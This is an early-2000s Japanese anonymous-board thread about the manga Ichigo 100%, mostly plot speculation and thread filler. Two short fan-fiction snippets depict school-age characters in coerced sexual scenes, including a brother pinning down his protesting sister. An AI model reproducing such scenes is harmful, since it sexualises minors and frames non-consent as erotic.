やっぱこういう時ほんとに親って邪魔なもんだよね。
しかし今回はホント直接的に来たなぁ(´д`*)
ジャンプの限界に挑戦!
って感じ?
>>926 どうせなら、青年誌辺りで思いっきりやって欲しいよな。
職人さんに、IF・電話が掛かってこなかったら、を書いて欲しい
>>928 IF・電話が掛かってきてもヤリまくり、でも可かと。
>>929 親と話してるところを後ろから、というのも捨てがたいw
しかしこれ、どう話をまとめるんだろう。
このまま西野エンドになったとしても、
話の山がいるし。
本命?の東城は、どこでどうして逆転するのか。
つーか真中、さつきは必死になってこばむが、西野ならOKなのね。
東城だったら……より積極的にいってたか、小屋の中で。
今週号読んで、自分の初体験の時を思い出したよ・・・・(保健室じゃなかったけど)
お互い初めてだったけど、まさに今週みたいな雰囲気だったから
当時を思い出しながらドキドキして読んだ。
今週のいちご最高!!!!!!
でもちょい画が荒くなかったか?
こういう回こそ、徹底的に描きこめよゴルア!!!w
934 :
名無しさん@ピンキー:03/10/21 19:16 ID:nFdGk5oL
職人さんに、IF・電話が掛かってこなかったら、を書いて欲しいage
>934
むしろ電話を受けながらをキボンヌ
「や・・・やっぱり携帯・・・でなきゃ・・・」
「いいよ、そのうち鳴り止むよ」
真中はつかさのスカートろめくり上げた。
「やっ・・・恥ずかしいよぉ・・」
こんなんでエエのか?
>>936 ・・・・(゚∀゚ )容易に想像できる自分がちょっと恥ずかしかった・・
というか西野の親がトモコ(だっけ?)の家に夜中なのに電話したことに疑問感じた人はいないの?w
7巻のあらすじキボンヌ!
買って読め。
少しでも売り上げに貢献して連載続行させることが君の使命だ。
>>940 中だるみな雰囲気はあるけど、連載打ち切りなんてあるのかね?
>>941 なんだかんだでしばらくは続くと思うが・・・油断は出来ん
それ以上にこの漫画最終的にどうまとめるのかが気になる
真中が東西のどちらかとゴールインするか曖昧に終わらせるかそれとも・・・
>>942 前代未聞空前絶後驚天動地のマルチエンディングきぼん!
最終巻4冊同時発売!
って、修羅の門が似たようなことやってたな。
ありきたりに、誰も選べなくて…
うほっ!!の方向で
ずっとマンガ読んでると、ヒロインの子達には
それなりに感情移入するじゃん?
彼女達が持っている主人公への好意が
叶わなかったり、在庫処分的にサブキャラに転化されるのって
すごく不愉快なんだよな
だから真中総取りで漏れは全然オッケー
真中死亡で無事解決
勝負は大学へ持ち越し
っていうラストに3いちご
>>949 それまで誰ともイタさないのも不自然だよなぁ
また新キャラ登場してやがる・・・
952 :
名無しさん@ピンキー:03/10/27 07:52 ID:A45tEVGf
てか真中たちまだ中学だろ?
ジャンプ読まずにコミックを6巻まで読んだんだが
西野は一体どうしたいのかと小一時(ry
新キャラの名前を予想してみるテスト
東・西・南・北は全部埋まっている
4人からワンランク落ちて、サブヒロイン扱いということで、
外村美鈴の対として”上”
天地、大小が既出なので”前・後”
黒川先生のパターンで”白”
>>954 俺は何を書いてるんだろう…
外村の対だったら”内”だろうに。
白と發と中だろ
957 :
名無しさん@ピンキー:03/10/27 18:52 ID:1Eem89Cv
そろそろ外人キャラが出てきそうなヨカソ
958 :
書き逃げ:03/10/27 21:32 ID:wYdg6iCi
「姉ちゃん!俺、もう、ダメだ…!」
「し、正太郎!?」
ばさりと綾を押し倒す。
「いいじゃん、減るもんじゃないんだし、このくらい。」
「ややややめなさいっ!!本気で怒るわよ!!」
「もう怒ってるじゃん。どうせ他の奴と、もうやってるんだろ……!」
「な、何を言ってるの!?しないってば!それに兄弟なのよ!」
「もう!ど…どきなさいっ!」
全く耳に入らないのか顔色も変えず、熟れた手つきで綾の制服の上着のボタンに手をかける。
「お願いだから…どいてってば…………いっ……いやぁっ…………。」
こんな感じか。
(恥ずかしいのでおしまい。)
なんか綾タンらしくないな
>>951 これ以上増やしてどうするつもりなんだろう
・・・それはともかく、今週のさつきは禿しく萎えた
見た目あんななのに一途ってのが良さだったのに
あれじゃ単なる時代錯誤の勘違い女
もう脱落だな
それいう展開にするのかも知れないが
>>960 つまり、あの新キャラが北川とか北条とかの名前で、下克上!
新キャラ、さつきの妹じゃないの・・・?
963 :
|∀`)<いちご100%イイ!!:03/10/28 01:26 ID:+i/UqN/M
そろそろスレ作らないとねw
今度、テリオスからでるゲームのヒロインの一人の名前が、「星乃 ツカサ」なんと一文字違い
まあ狙ってはいないだろうけどなんとなく・・・意味の無いレスです。
スルーしちゃって・・・
即死支援…?
誰も書き込みするなと?
何となく保守
んじゃ、埋めますか。
970
すごい バストの さつき
972 :
名無しさん@ピンキー:03/11/11 08:58 ID:1lAUTh2P
うめ
うめ
うめ
うめ
うめ
うめ
うめ
うめ
うめ
うめ
うめ
うめ
うめ
うめ
うめ
うめ
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